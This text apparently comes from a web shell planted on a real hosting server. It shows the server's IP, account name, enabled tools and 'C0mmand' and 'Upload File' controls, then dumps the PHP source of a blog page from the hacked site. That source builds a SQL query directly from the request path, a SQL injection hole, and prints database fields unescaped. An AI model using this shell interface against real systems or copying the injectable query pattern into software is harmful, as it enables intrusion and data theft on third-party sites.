Server IP : 103.53.40.154 / Your IP : 3.145.57.5 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/yugayurvedaold.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); $slug_name = $_GET['slug_link']; if(isset($_SERVER['PATH_INFO'])){ $slug_name=$_SERVER['PATH_INFO']; $querydt="SELECT * FROM `tbl_blog` WHERE `slug_link`='$slug_name'"; $rundt = mysqli_query($db,$querydt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="format-detection" content="telephone=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="author" content=""> <meta name="keywords" content=""> <meta name="description" content=""> <?php include "top-links.php";?> <title><?php echo $datadt["meta_title"];?></title> <meta name="description" content="<?php echo $datadt["meta_desc"];?>"> </head> <body> <div class="ps-page"> <?php include "header.php";?> <div class="bread"> <div class="container"> <div class="title"> <h1><?php echo $datadt['title']?></h1> <ul class="breadcrumb"> <li><a href="<?php echo $wspath?>">Home</a></li> <li><?php echo $datadt['title']?></li> </ul> </div> </div> </div> <div class="ps-blog"> <div class="container"> <h1 class="ps-blog__title"><?php echo $datadt['title'];?></h1> <div class="ps-blog__content"> <div class="row"> <div class="col-12 col-md-9"> <div class="ps-blog--sidebar"> <div class="ps-blog--latset"> <div class="ps-blog__thumbnail"><a href=""><img src="<?php echo $wspath?>admin/images/property-image/<?php echo $datadt['image'];?>" alt="alt"></a> <!--<div class="ps-blog__badge"><span class="ps-badge__item">MEDIC</span><span class="ps-badge__item">PHARMACY</span><span class="ps-badge__item">SALE</span>--> </div> </div> <div class="ps-blog__content"> <div class="ps-blog__meta"> <span class="ps-blog__date"><?php echo $datadt['date'];?></span></div> <p class="ps-blog__desc"><?php echo $datadt['short_description'];?></p> <p class="ps-blog__desc"><?php echo $datadt['description'];?></p> </div> </div> </div> <div class="col-12 col-md-3"> <div class="ps-widget ps-widget--blog"> <div class="ps-widget__block"> <h4 class="ps-widget__title">Categories</h4><i class="fa fa-angle-down"></i> <div class="ps-widget__content"> <ul class="ps-widget--category"> <?php $sql = "SELECT * FROM tbl_blog "; $run = mysqli_query($db,$sql) or die("Query Not run"); while($data = mysqli_fetch_assoc($run)){ ?> <li><a href="<?php echo $wspath?>blog<?php echo $data['slug_link']?>.html"><?php echo $data['title'];?></a></li> <?php }?> </ul> </div> </div> </div> </div> </div> </div> </div> </div> </div> <?php include "footer.php";?> </div> </body> </html>